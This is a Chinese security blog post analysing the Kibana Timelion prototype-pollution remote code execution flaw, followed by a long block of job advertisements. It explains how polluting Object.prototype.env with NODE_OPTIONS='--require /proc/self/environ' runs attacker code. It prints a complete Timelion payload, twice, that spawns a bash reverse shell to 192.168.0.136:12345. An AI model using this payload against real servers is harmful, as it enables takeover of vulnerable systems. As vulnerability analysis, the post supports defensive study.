利用原型污染-kibana中的RCE漏洞思考

Posted 雷神众测

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用原型污染-kibana中的RCE漏洞思考相关的知识,希望对你有一定的参考价值。

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

漏洞详情

Elasticsearch Kibana是荷兰Elasticsearch公司的一套开源的、基于浏览器的分析和搜索Elasticsearch仪表板工具。
Kibana 5.6.15之前版本和6.6.1之前版本中的Timelion visualizer存在安全漏洞。

No.3

漏洞描述

攻击者利用漏洞可以通过Timelion组件中的javascript原型链污染攻击,向Kibana发起相关请求,从而接管所在服务器,在服务器上执行任意命令。

No.4

什么是原型污染?

原型污染是特定于具有基于原型的继承的编程语言的漏洞(最常见的是JavaScript)。
攻击者可以覆盖JavaScript应用程序对象原型。发生这种情况时,可以将攻击者控制的属性注入对象,然后通过触发JavaScript异常导致拒绝服务,或者篡改应用程序源代码以强制攻击者注入的代码路径。
虽然该bug一段时间以来众所周知,但它缺乏实际的利用示例。
在本文中,将展示如何利用它在Kibana中实现远程代码执行。

No.5

漏洞利用难点

如何从原型参数污染到远程命令执行

No.6

漏洞利用思路

利用原型污染传入参数---Timelion执行参数---Canvas触发执行命令---达成远程命令执行
想要通过原型污染再到远程命令执行,需要有几个前提条件:

  1. 使用--require启动时加载javascript文件,使用的参数为NODE_OPTIONS

  2. 在无法在kibana上传自己的文件,这时通过污染/proc/self/environ(有效js代码)

  3. 生成新node进程时通过控制环境变量来执行自己的代码(不上传任何文件,污染/proc/self/environ)

  4. 加载canvas触发执行命令,达成远程命令执行

No.7

原型参数如何被污染

在Timelion中,可以编写表达式以可视化一些数据。

在屏幕快照的示例中,正在使用props函数将label下面的图形设置为'ABC'。
事实证明,使用props,不仅可以将字符串分配给属性,还可以将对象分配给对象。**

如果输入等于:.es(*).props(label.x='ABC'),然后label等于一个对象:{ x: 'ABC' }。

从现在开始,我们非常接近利用原型污染,因为事实证明.es.props(label.proto.x='ABC')将一个新的属性添加x到Object.prototype。

污染原型的方式:

基本上需要找到一个代码来尝试访问通常未定义的属性,希望在定义该属性时会做一些“有趣的事情”。
代码类似于:

if (obj.jsCode) {
   eval(obj.jsCode)
}

利用原型污染-kibana中的RCE漏洞思考

事实证明,Kibana实际上尝试运行一个新node进程,normalizeSpawnArguments方法被调用

var env = options.env || process.env;
 var envPairs = [];

 for (var key in env) {
   const value = env[key];
   if (value !== undefined) {
     envPairs.push(`${key}=${value}`);
   }
 }

options.env没有默认定义,这意味着它可能被污染。
在代码段中,有一个for循环,它循环访问的所有属性,env并将它们添加到form数组中key=value。
因此,如果env等于{ test: 123 },envPairs则将包含test=123。
该代码的目的是定义将要传递给新node过程的环境变量。
因为options.env可以被污染,具有控制传递哪些环境变量

由于NODE_OPTIONS变量
以空格分隔的命令行选项列表。options... 在命令行选项之前被解释,因此命令行选项将在中的任何内容之后覆盖或复合 options...。如果使用了环境中不允许的选项(例如-p 脚本文件),Node.js将退出并显示错误。
在原型污染中,控制环境变量,这意味着可以控制/proc/self/environ。假设创建一个环境变量AAA=console.log(123)//:

利用原型污染-kibana中的RCE漏洞思考

proc/self/environ碰巧是一个有效的JS代码!因此,我可以在生成新node进程时通过控制环境变量来执行自己的代码(不上传任何文件)

利用原型污染-kibana中的RCE漏洞思考

console.log(123)仅在node执行开始时执行

No.8

转换成为远程命令执行攻击代码

只需要在Timelion中使用以下代码将其转换为真正的RCE:

.es(*).props(label.proto.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.proto.env.NODE_OPTIONS='--require /proc/self/environ')

通过原型污染设置两个环境变量,child_process创建新的进程。

No.9

利用过程

在Timelion输入payload:

.es(*).props(label.proto.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.proto.env.NODE_OPTIONS='--require /proc/self/environ')

点击执行
启动本地Netcat监听,端口为12345

利用原型污染-kibana中的RCE漏洞思考

点击canvas,加载后,成功执行命令。

利用原型污染-kibana中的RCE漏洞思考

No.10

原型污染思考

原型污染出现在 jQuery前端库、Node.js、JavaScript库
产生的原因:
在大多数JavaScript运行时中,每个JavaScript对象都有一个__proto__指向其构造函数prototype 的属性。

$ node
> const x = {};
undefined
> x.prototype;
undefined
> x.__proto__;
{}
> x.__proto__ === Object.prototype;
true
>

No.11

安服浙江大区招聘

安全服务部浙江大区致力于从浙江辐射全国的安全评估、安全咨询等服务业务的支撑,同时不断开展网络与应用安全新技术的探索。团队拥有业界TOP级别的渗透测试、应急响应、代码审计、网络安保、攻防演练的能力与经验。浙江大区主要负责浙、赣、闽三省的安全服务业务开展,也参与全国的安保支撑与护网行动,同时以开源分享的氛围持续输出针对新技术的研究成果,拥有丰富的业务经验和尖端的研究能力,致力于打造一个更加专业、高效、诚信、友爱的安全服务团队。

安全服务工程师

————————

工作地点:杭州

【岗位职责】

1.负责对客户系统进行渗透测试,包括各类应用系统、移动APP等,全面发现被测系统存在的安全问题并提供修复建议;

2.客户系统出现安全事件时进行应急处置,协助客户修复安全漏洞;

3.负责对客户的系统进行代码审计,通过对源代码检测和分析,找出代码层面存在的漏洞,并提供修复建议;

4.跟踪国内外信息安全动态,进行安全攻防技术研究;

5.负责日常网络安全产品运维、漏洞扫描、网络安全基线配置核查等;

6.负责日常网络安全日志和事件监测、分析、预警、处置、总结;

7.负责敏感时期、重大节假日期间的网络安全保障;

8.协助用户处理日常安全工作,提供安全建议和咨询。


【任职要求】

1.对网络安全攻防感兴趣,熟练掌握渗透测试技巧、熟练运用各类安全软件、安全测试工具;

2.熟悉渗透测试步骤、方法、流程,熟练使用渗透测试工具;

3.熟悉常见web安全漏洞的原理、测试方法、加固方法;

4.具有较好的工作习惯及较强的文档、报告、方案编写能力;

5.具备优秀的沟通协调能力、学习能力、抗压能力;

6.开发过相关安全工具、平台、项目,或可独立支撑应急响应者优先;

7.在t00ls、freebuf、Seebug等平台发布过技术文章者优先;

8.有web开发经验或熟悉php/C#/Java/Python任意一种语言者优先;

9.有CTF、攻防比赛获得奖项者优先;

10.有知名SRC、漏洞平台、CVE、CNVD、CNNVD漏洞提交证明者优先。


简历投递至:peano.zhang@dbappsecurity.com.cn

安全服务工程师(偏安全研究)

————————

工作地点:杭州

【岗位职责】

1、负责安全服务项目实施工作当中的技术部分,例如:渗透测试、代码审计、应急响应、红蓝对抗、iot安全评估、区块链安全评估、客户端安全测试等;
2、参与安全技术研究工作


【任职要求】

1.熟悉OWASP TOP 10,具有网络安全、系统安全、Web安全等方面的理论基础;
2.精通常见Web攻击手法, 包括通用性安全漏洞、逻辑漏洞等常见安全问题;
3.至少具备一种安全技术基础,包括且不限于iot基础、二进制基础、代码审计基础(Java,C#,C/C++)、内网渗透等;
4.熟悉常见编程语言中的至少一种(C++,C#,Python,PHP,Java,GoLang) ,并能够熟练写出针对性的测试脚本;
5.具有较强的责任感,能够独当一面;
6.具备1年以上工作经验(不算实习), 学习能力出色


【加分项】

1、具备CISSP, CISA, Security+
2、混迹于各大SRC赚零花钱


简历投递至:peano.zhang@dbappsecurity.com.cn

项目经理

————————

工作地点:杭州

【岗位职责】

1.负责规范项目管理标准和流程的建设和优化,完善项目过程文档模板,为技术部门开展项目管理相关的培训和指导;

2.负责部门文档体系的建设和优化,并配合协调全国技术资源持续改进;

3.负责全国重点项目的跟进和过程管理、监控,分析总结和反馈项目相关问题,与公司相关部门配合改善优化项目管理相关流程规范;

4.负责区域项目数据管理、分析,并能协助技术部门发现潜在问题,配合改进;

5.完成上级领导交付的其它相关工作。


【任职要求】

1.大学本科以上学历,3年以上IT集成、信息安全项目管理工作经验;

2.熟悉网络/安全设备、操作系统、应用、中间件等各类型软硬件产品的原理及工作方式;

3.熟悉信息安全等级保护、ISO27001标准等信息安全领域的标准、监管要求等重要文件;

4.具备WEB渗透和漏洞挖掘能力,熟练掌握网络、主机、数据库、应用等一个或多个领域的渗透测试技能;

5.优秀的沟通技巧和协调能力,能够推动持续建立项目管理体系;

6.优秀的口头表达和文字编写能力,能够开展项目管理培训和推进质量改善项目;

7.具备项目管理技能,有PMP、项目管理师证书优先。


简历投递至:peano.zhang@dbappsecurity.com.cn

安全咨询顾问

————————

工作地点:杭州

【岗位职责】

1.独立完成信息安全服务项目的售前交流、方案编写、招投标等支持工作。

2.负责收集行业动态信息。深入分析行业发展趋势,挖掘行业安全需求,牵头制订政策性、创新型行业安全解决方案。

3.负责根据客户的需求设计安全规划方案、安全建设方案贴合公司产品,并指导落地等。

4.负责对实施人员进行定期的行业方案、行业知识的宣贯培训。

5.负责定期收集、汇总竞争对手信息,并进行深入的对比分析,提出合理的解决方案。


【任职要求】

1.本科以上学历,三年以上信息安全项目实施、售前咨询工作经验。

2.至少熟悉金融、政府、运营商、能源等行业中的一种,熟悉该行业的业务特点、业务需求、相关标准规范、监管要求,对该行业的组织结构、应用系统有深刻理解。

3. 熟悉了解GB/T 31168-2014、GB/T 31167-2014、云计算服务安全能力评估方法、等保2.0 云计算技术的信息系统的扩展安全要求、ISO/IEC27001:2013、GB/T20984等标准。;

4. 具有敏锐的洞察力,较强的数据分析和文档撰写能力;

5. 文笔过硬,较强的沟通能力,灵活的处事方法,能够适应不定期的出差,擅长PPT编写和演示;


【优先考虑条件】

1.具备CISA/CISSP/ISO27001/PMP/CISP等证书者优先;

2.具有网络与信息安全体系建设、咨询、审计经验者优先。


简历投递至:peano.zhang@dbappsecurity.com.cn

售前服务工程师

————————

工作地点:杭州

【岗位职责】

1.负责售前顾问工作,配合销售人员参与投标项目,负责撰写投标方案技术文件部分和过程中的技术应答文件,完成整个投标过程;

2.为用户提供风险管理咨询,着重于风险管理,安全审计、业务连续性相关的建设工作;

3.与用户进行现场交流,包括初次交流、具体项目交流和投标交流;

4.撰写相关的技术文件,包括公司资料、技术建议书、长期规划建议等;

5.针对客户网络架构和安全需求,建议合理的网络安全解决方案;

6.负责和参与对用户的短期培训和讲座等;

7.作为对销售部门售前过程的唯一接口,负责帮助销售协调售前支持和其他部门的资源。


【任职要求】

1.具有较强的沟通能力、学习能力、灵活的处事能力、文档编写能力,擅长PPT编写和演示;

2.熟悉安全服务业务(漏洞扫描、渗透测试、风险评估、安全评估、安全培训、代码审计、应急响应、网络安保等)服务内容及流程;

3.熟悉主流安全技术和流行安全产品(防火墙、防毒、入侵检测、漏洞扫描等)的应用部署方案;

4.熟悉网络攻击、黑客攻防等安全技术;了解国内外网络、安全界发展现状;了解各主流安全厂家厂家安全服务的技术优劣势。

5.较强的敬业精神与工作责任心。


简历投递至:peano.zhang@dbappsecurity.com.cn

安全服务工程师(实习)

————————

工作地点:杭州

【岗位职责】

1.负责对客户系统进行渗透测试,包括各类应用系统、移动APP等,全面发现被测系统存在的安全问题并提供修复建议;

2.客户系统出现安全事件时进行应急处置,协助客户修复安全漏洞;

3.负责对客户的系统进行代码审计,通过对源代码检测和分析,找出代码层面存在的漏洞,并提供修复建议;

4.跟踪国内外信息安全动态,进行安全攻防技术研究。

5.负责日常网络安全产品运维、漏洞扫描、网络安全基线配置核查等;

6.负责日常网络安全日志和事件监测、分析、预警、处置、总结;

7.负责敏感时期、重大节假日期间的网络安全保障;

8.协助用户处理日常安全工作,提供安全建议和咨询。


【任职要求】

1.对网络安全攻防感兴趣,熟练掌握渗透测试技巧、熟练运用各类安全软件、安全测试工具;

2.熟悉渗透测试步骤、方法、流程,熟练使用渗透测试工具;

3.熟悉常见web安全漏洞的原理、测试方法、加固方法;

4.具有较好的工作习惯及较强的文档、报告、方案编写能力;

5.具备优秀的沟通协调能力、学习能力、抗压能力;

6.开发过相关安全工具、平台、项目,或可独立支撑应急响应者优先;

7.在t00ls、freebuf、Seebug等平台发布过技术文章者优先;

8.有web开发经验或熟悉PHP/C#/Java/Python任意一种语言者优先;

9.有CTF、攻防比赛获得奖项者优先;

10.有知名SRC、漏洞平台、CVE、CNVD、CNNVD漏洞提交证明者优先。


简历投递至:peano.zhang@dbappsecurity.com.cn

专注渗透测试技术

全球最新网络攻击技术

END

以上是关于利用原型污染-kibana中的RCE漏洞思考的主要内容,如果未能解决你的问题,请参考以下文章

Kibana漏洞之javascript原型链污染又文件包含漏洞的非常详细的分析的黑客教程

利用原型链漏洞污染拿下服务器权限

漏洞预警jQuery 前端库出现罕见的原型污染漏洞,影响范围广泛(含技术分析)

jQuery 的“原型污染”安全漏洞

jQuery 修复“原型污染”安全漏洞;安全研究员 MalwareTech 认罪

jQuery CVE-2019-11358 原型污染漏洞分析和修复建议